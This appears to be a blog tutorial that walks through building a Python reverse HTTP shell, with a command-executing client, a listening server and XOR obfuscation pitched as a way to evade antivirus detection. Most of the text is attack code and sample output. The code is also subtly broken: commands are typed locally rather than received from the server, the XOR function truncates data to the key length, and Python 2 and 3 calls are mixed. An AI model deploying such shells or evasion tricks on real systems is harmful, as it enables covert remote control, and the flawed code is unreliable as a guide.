Select Page

Looking to learn Python? Then, look no further. In this tutorial I cover how to write a reverse HTTP shell in Python for Kali Linux. A reverse shell is common practice in ethical hacking and rightfully so. It is very successful at evading even AV and IDS/IPS detection, therefore it is in use a lot in penetration testing.

Overview: We will write two programs, http_server.py and http_client.py. These programs enable web requests to go back and forth between the two. This scenario mimics regular shell interactions between web servers. Also we will script in a simple obfuscation technique using xor operations function. That should help evade detection by Antivirus vendors.


Here’s What You Need

  • Kali Linux Virtual Instance (VirtualBox)
  • Windows 10 Virtual Instance (VirtualBox) -OR-
  • Linux Virtual Instance (VirtualBox)

Help for setting up any of these is available in the featured post, How to Setup An Active Domain Controller to Hack At Home In 10 Steps.

Note: These virtual machines all need to be either on a Host-Only adapter enabled network in VirtualBox or on a home network. In other words do not test ethical hacking tools on a network you are not authorized to do so on!

The HTTP server provided by the Python standard library, accessed by using the SimpleHTTPServer library. On a Kali Linux host the default Python installed is going to be Python version 2.7+. According to the documentation the SimpleHTTPServer library “has been merged into the http.server module in Python 3.” In sticking with Python 2.7, as this is a Kali Linux tutorial, we’ll stick with the version 2.7 modules SimpleHTTPServer. If you do want to use Python version 3 then a simple alias can be defined in your .bashrc file. The difference would be to define an HTTP request handler as following in Python version 3: Handler = http.Server.SimpleHTTPRequestHandler.

What can the module do? It defines a single class named SimpleHTTPRequestHandler which can handle simple HTTP GET requests made to the simple server. Using a basic command line statement with the -m switch we can see the module at work.

Learn Python for Kali Linux
This is the command to start a server that listens on port 8080 for requests.

Navigating to localhost:8080 you will notice that every file in the current directory is being served by this server. The logic built in is as following: look for an “index.html” if there is not one then serve the entire directory. The program naturally performs this action by using the os.listdir() function that is native to Python.

Step 1: Code HTTP Server

We could use the SimpleHTTPServer library but for this tutorial we will use another native Python HTTP server library. That is BaseHTTPServer. Based on the documentation the following is how EHG implements a basic server.

The only way to support handling web requests to your new server is to use a specific method. This is the do_Method() function. Replace the “Method” with GET, POST, etc. That’s it! If you try to name the method handler functions (do_GET()) another name it will not work! In other words you can’t name the function something besides do_METHOD().

import requests
import http.server
"""handler for URL patterns (respond to GETs, POSTs)
 http.server's BaseHTTPRequestHandler must be subclassed to handle GET/POST why say that? It means we are subclassing to a custom request_handler! 
Default response to server is text/html
 Length of response is accessed via headers
 rfile contains output stream
 wfile contains input stream
"""

class request_handler(http.server.BaseHTTPRequestHandler):
   def do_GET(sf): # sf is "self"
  
     # send hey! I got your request to client
     sf.send_response(200)
     # no more headers
     sf.end_headers()
     
   def do_POST(sf):
     sf.send_response(200)
     sf.end_headers()
     # read to the end 
     len_headers = int(sf.headers['Content-length'])

     remote_cmd = sf.rfile.read(len_headers)
     # show what the client typed
     print(remote_cmd)

"""
http.server.HTTPServer is a subclass of SocketServer.TCPServer
meaning a new server instance listens at the HTTP socket.
"""
if __name__ == '__main__':
  server_class = http.server.HTTPServer
  handler_class = request_handler
  server_addr = ("127.0.0.1", 80)
  # run httpd daemon
  httpd = server_class(server_addr, handler_class)
  # run httpd daemon persistently
  try:
    httpd.serve_forever()
  # release socket listener
  except KeyboardInterrupt:
    httpd.server_close()

Step 2: Code HTTP Client

The client piece of the equation serves as the attack vector. In other words commands and arbitrary code execution take place on it. The server as you remember sends commands, the client beaconing out to it for a connection. Let’s write a very simple client script first to demonstrate the client-server relationship.

import requests
import time
import subprocess
import os


def run_cmd(cmd):
  ps = subprocess.run(cmd.strip(), capture_output=True, shell=True)

  out = ps.stdout.decode()
  err = ps.stderr.decode()

  if out:
     post_req= requests.post(url='http://127.0.0.1', data=cmd.strip() + " >> " + out)
     print(out)
  elif err:
     post_req= requests.post(url='http://127.0.0.1', data=cmd.strip() + " >> " + err)
     print(err)

cmd = ""

while cmd.strip() != "q":
    cmd = input("Shell> ")
    if cmd != 'q':  
       run_cmd(cmd)
    elif cmd == 'q':
        print("bye.n")
        break

Run the script for the server, http_server.py and then the script for the client, http_client.py.

We need to capture the standard output of the client program. This is stdout (standard output). There is also another source of useful data we should display, that is standard error. The documentation states that a possible value is PIPE. Basically think of the PIPE being a literal pipe leaning into the new child process, the terminal, we are spawning. The process spews out information and the pipe collects it then delivers it to us.

So then, how do we get the data coming out of the new shell being created? The easiest option, and as this is an HTTP server-client tutorial, is to send the data back to the server. In web request terms this is a POST request.

Now when I run the ls command the results are piped to my HTTP server running on my Kali Linux instance.

Shell> ls
10.0.1.8 – – [23/Feb/2019 06:10:07] “GET / HTTP/1.1” 200 –
10.0.1.8 – – [23/Feb/2019 06:10:07] “POST / HTTP/1.1” 200 –
Desktop
Documents
Downloads

Step 3: Obfuscate

XOR encoding refers to bitwise xor operations done in computing. It basically involves comparing each byte and replacing it. Here is the trick for XOR encoding, the same operation that encodes also decodes. You will see in the following example exactly what that means. For a simple demonstration purpose, I’ll make the key “ABC123”. Experiment with different keys, key lengths, and key syntax. Add these lines to both http_server.py and http_client.py. Define a function that takes in the data to be encoded and the key to encode it with. Think of it as encryption, because it obfuscates the data by computing an operation over it with a predefined key.

import requests
import time
import subprocess
import os

key = 'ABC123'

def xor_str(data, xor_key):
   return ''.join([chr(ord(x) ^ ord(y)) for (x,y) in zip(data, xor_key)])


def run_cmd(cmd):
  
  cmd_decoded = xor_str(cmd, key)
  ps = subprocess.run(cmd_decoded, capture_output=True, shell=True)

  out = ps.stdout.decode()
  err = ps.stderr.decode()
  
  
  encoded_output = xor_str(cmd_decoded + " >> " + out,key)
  encoded_err_output = xor_str(cmd_decoded + " >> " + err,key)
  

  if out:
     post_req= requests.post(url='http://127.0.0.1', data=encoded_output)
     print(out)
  elif err:
     post_req= requests.post(url='http://127.0.0.1', data=encoded_err_output)
     print(err)

cmd = ""

while cmd.strip() != "q":
    cmd = input("Shell> ")
    if cmd != 'q':  
       cmd_encoded = xor_str(cmd,key)
       run_cmd(cmd_encoded)
    elif cmd == 'q':
        print("bye.")
        break

Apply this function to both scripts to encode the data point-to-point.

import requests
import http.server
import codecs
"""handler for URL patterns (respond to GETs, POSTs)
 BaseHTTPServer's BaseHTTPRequestHandler must be subclassed to handle GET/POST why say that? It means we are subclassing to a custom request_handler! 
Default response to server is text/html
 Length of response is accessed via headers
 rfile contains output stream
 wfile contains input stream
"""
key = 'ABC123'

def xor_str(data, xor_key):
   return ''.join([chr(ord(x) ^ ord(y)) for (x,y) in zip(data, xor_key)])


# def xor_crypt_string(data, key='awesomepassword', encode=False, decode=False):
#     from itertools import izip, cycle
#     import base64
#     if decode:
#         data = base64.decodestring(data)
#     xored = ''.join(chr(ord(x) ^ ord(y)) for (x,y) in izip(data, cycle(key)))
#     if encode:
#         return base64.encodestring(xored).strip()
#     return xored

class request_handler(http.server.BaseHTTPRequestHandler):
   def do_GET(sf): # sf is "self"
     # ask for input from client
     remote_cmd = raw_input("Shell> ")
     # send hey! I got your request to client
     sf.send_response(200)
     # no more headers
     sf.end_headers()
     # write the response to the client
     sf.wfile.write(remote_cmd)
   def do_POST(sf):
     sf.send_response(200)
     sf.end_headers()
     # read to the end 
     len_headers = int(sf.headers['Content-length'])
     #len_headers = int(sf.headers.getheader('content-length'))
     remote_cmd = sf.rfile.read(len_headers)
     # decode bytes to string
     rstr = codecs.decode(remote_cmd, 'UTF-8')
     
     remote_cmd_decoded = xor_str(rstr, key)
     # show what the client typed
     print(remote_cmd_decoded)

"""
BaseHTTPServer is a subclass of SocketServer.TCPServer
meaning a new server instance listens at the HTTP socket.
"""
if __name__ == '__main__':
  server_class = http.server.HTTPServer
  handler_class = request_handler
  server_addr = ("127.0.0.1", 80)
  # run httpd daemon
  httpd = server_class(server_addr, handler_class)
  # run httpd daemon persistently
  try:
    httpd.serve_forever()
  # release socket listener
  except KeyboardInterrupt:
    httpd.server_close()

Now after running the ls command through our custom shell, the output is xor encoded!

Shell> ls
10.0.1.8 – – [23/Feb/2019 06:40:00] “GET / HTTP/1.1” 200 –
10.0.1.8 – – [23/Feb/2019 06:40:00] “POST / HTTP/1.1” 200 –
“#3n\

Note – As an Amazon associate I may earn from qualifying purchases.

error: